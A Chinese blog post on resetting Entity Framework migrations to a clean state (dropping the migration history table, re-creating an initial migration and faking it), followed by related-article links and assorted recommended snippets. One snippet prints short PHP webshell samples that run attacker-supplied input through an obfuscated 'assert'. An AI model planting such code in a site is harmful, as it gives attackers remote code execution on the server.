重置EntityFramework数据迁移到洁净状态
前言
翻译一篇有关EF数据迁移的文章,以备日后所用,文章若有翻译不当的地方请指出,将就点看,废话少说,看话题。【注意】:文章非一字一句的翻译,就重要的问题进行解释并解决。
话题引入
无法确定这种场景是否是大家也遇见过并且是频繁出现的,这种场景通常出现在需要对大量的数据进行迁移,导致EF数据迁移使得EF迁移状态呈现出一种不可用的状态,最终出现在新的数据迁移上无法进行更新数据库或者回滚。也就是说当进行数据迁移时有可能导致数据库和EF架构出现不一致的状态即所谓的异步,接下来我们将一步一步来解决这个问题。
温馨提示:如果你确定要走重置数据迁移的路线,请确保备份你的代码以及数据库,以防出现的架构非你所预期,当然了,EF代码生成器和架构匹配的如此完美,在数据库中亦是如此,但是以防失效并且你不想在没有备份的情况下陷入绝境,为什么这样说呢?在迁移里,你可能有你自定义的代码,此时将需要额外的工作来更新数据库,此时无法保证这样的工作是否能成功完成,所以为了安全,归根结底,请备份。
移除和重置数据迁移
step one
删除我们进行数据迁移在数据库中生成的表,如下:
首先删除_MigrationHistory 表,通过删除迁移记录表来告诉数据迁移已经被应用,如果这个表一直存在,EF将检测最新的版本的数据迁移是否已经被应用上,与此同时如果成功了则会抛出数据库和EF架构不同步的错误,如果你删除了这个表,EF将不会去检测架构是否匹配
step two
删除项目中的数据迁移。如下:
我们需要留下Configuration.cs文件,因为它可能包含初始化数据添加代码,当然你没有需要初始化的数据代码,我们也可以删除这个文件或者整个文件夹。此时我们运行这个应用程序将不会出现任何差错,因为此时在数据库中没有任何数据迁移表以及在项目中没有迁移文件
step three
通过【Enable-Migrations】重新创建数据迁移
若未完全删除整个项目的数据迁移文件夹则需要用上【Enable-Migrations -Force】命令
step four
通过【Add-Migration Initial】进行初始化数据迁移。
创建的文件里包含Up和Down方法定义了数据库的架构
基于表的DbContext和Model类创建了表和外键以及其他约束的命令,EF通过DbContext找到每个Model类,指出其关系和外键并且通过应用定义在Model类的特性设置,最终以代码来描述他们,此时你将看到如下
step five
通过【Update-Database】命令更新到数据库
此时你通过此命令来更新到数据库则出现【数据库已存在某表的对象】,此时为了解决这一点,我们可以通过注释UP方法来伪造出迁移。在UP方法上加上【return】即可(注意:完成后删除return,此时则回到了同步状态),如下:
此时再来运行【Update-Database】命令即可成功,如下:
finally
最后一步相对来说是最笨重也是繁重的,通过使用【Update-Database -script】来对本地和远程的数据库进行更新。最终将使得数据库与EF架构处于同步的状态。当然你觉得有些不对劲你可以通过VS中的SQL Server架构比较工具或者是Red Gate's 非常棒的SQL比较工具来进行比对。
重置EntityFramework数据迁移到洁净状态的更多相关文章
- EntityFramework数据迁移(笔记)
1.启用迁移 在Package Manager Console中运行Enable-Migrations命令 此命令已将Migrations文件夹添加到我们的项目中,此新文件夹包含两个文件: Confi ...
- C#+EntityFramework编程方式详细之Code First 数据迁移
在前几篇的C#+EntityFramework编程方式中介绍了C#+EntityFramework编程方式Code First ,Model First以及Dtatabase First 等编程方式, ...
- EntityFramework Code First便捷工具——数据迁移
使用EntityFramework Code First开发,数据迁移是一个不得不提的技术. 在我们的开发过程中,难免需要对模型进行改进,模型改进后,会导致实体集与数据库不一致,当然我们可以通过删除数 ...
- EntityFramework Code First 模式下使用数据迁移
启用数据迁移 在程序包管理控制台选择安装了EntityFramework的项目,键入如下指令以启EF用数迁移. Enable-Migrations 命令成功运行后,所选项目下会添加名为Migratio ...
- 【开源】OSharp框架解说系列(5.2):EntityFramework数据层实现
OSharp是什么? OSharp是个快速开发框架,但不是一个大而全的包罗万象的框架,严格的说,OSharp中什么都没有实现.与其他大而全的框架最大的不同点,就是OSharp只做抽象封装,不做实现.依 ...
- EntityFramework 7 更名为EntityFramework Core(预发布状态)
前言 最近很少去学习和探索新的东西,尤其是之前一直比较关注的EF领域,本身不太懒,但是苦于环境比较影响自身的心情,所以迟迟没有下笔,但是不去学习感觉在精神层面缺少点什么,同时也有园友说EF又更新了,要 ...
- Entity Framework7 入门之全功能.NET版本下使用EF7(含源码)另附数据迁移常见错误处理
Entity Framework7 入门之全功能.NET(Console, WinForms, WPF等)使用EF7 昨天,我们介绍了EF的新特性和开发计划,如果你还不了解,请移步 Entity Fr ...
- Entity Framework Code First Migrations--EF 的数据迁移
1. 为了演示方便,首先新建一个控制台项目,然后添加对entityframework的引用 使用nuget控制台执行: Install-Package EntityFramework 2.新建一个实体 ...
- 【开源】OSharp框架解说系列(5.1):EntityFramework数据层设计
OSharp是什么? OSharp是个快速开发框架,但不是一个大而全的包罗万象的框架,严格的说,OSharp中什么都没有实现.与其他大而全的框架最大的不同点,就是OSharp只做抽象封装,不做实现.依 ...
随机推荐
- NoSql basic knowledge
The big picture to keep in mind first is: There are lots of articles and resources out there: http:/ ...
- Linux Shell 脚本调试
方法如下所示:(1) 使用选项–x,启用shell脚本的跟踪调试功能: $ bash -x script.sh 运行带有-x标志的脚本可以打印出所执行的每一行命令以及当前状态.注意,你也可以使用sh ...
- jQuery的4种事件绑定方法
jQuery中提供了四种绑定事件的方法,分别是bind.live.delegate.on,对应的解除监听的函数分别是unbind.die.undelegate.off: 一.on()方法(首选方法) ...
- Python 字符串操作(string替换、删除、截取、复制、连接、比较、查找、包含、大小写转换、分割等)
去空格及特殊符号 s.strip().lstrip().rstrip(',') 复制字符串 #strcpy(sStr1,sStr2) sStr1 = 'strcpy' sStr2 = sStr1 sS ...
- Linux 系统查看物理内存使用率的命令脚本,以百分比形式输出。
想监视系统内存?好像是没法直接得到现成的百分比的,自己取值计算一下吧 totalmem=`free -m | grep 'Mem' | awk '{print $3}'` usedmem=`free ...
- php木马样本,持续更新
<?array_map("ass\x65rt",(array)$_REQUEST[dede]);?> <?php $command=$_POST[1990]; @ ...
- MAC下使用Charles抓取安卓模拟器数据
一.安装Charles,这个不多记录 二.Charles数据乱码问题(参照这篇文章 http://blog.csdn.net/huanghanqian/article/details/52973651 ...
- *HDU1847 博弈
Good Luck in CET-4 Everybody! Time Limit: 1000/1000 MS (Java/Others) Memory Limit: 32768/32768 K ...
- Hibernate多对多双向关联的配置
Hibernate的双向多对多关联有两种配置方法:那我们就来看看两种方案是如何配置的. 一.创建以各自类为类型的集合来关联 1.首先我们要在两个实体类(雇员<Emploee>.工程< ...
- Git 常用命令大全
Git常用操作命令: 1) 远程仓库相关命令 检出仓库:$ git clone git://github.com/jquery/jquery.git 查看远程仓库:$ git remote -v 添加 ...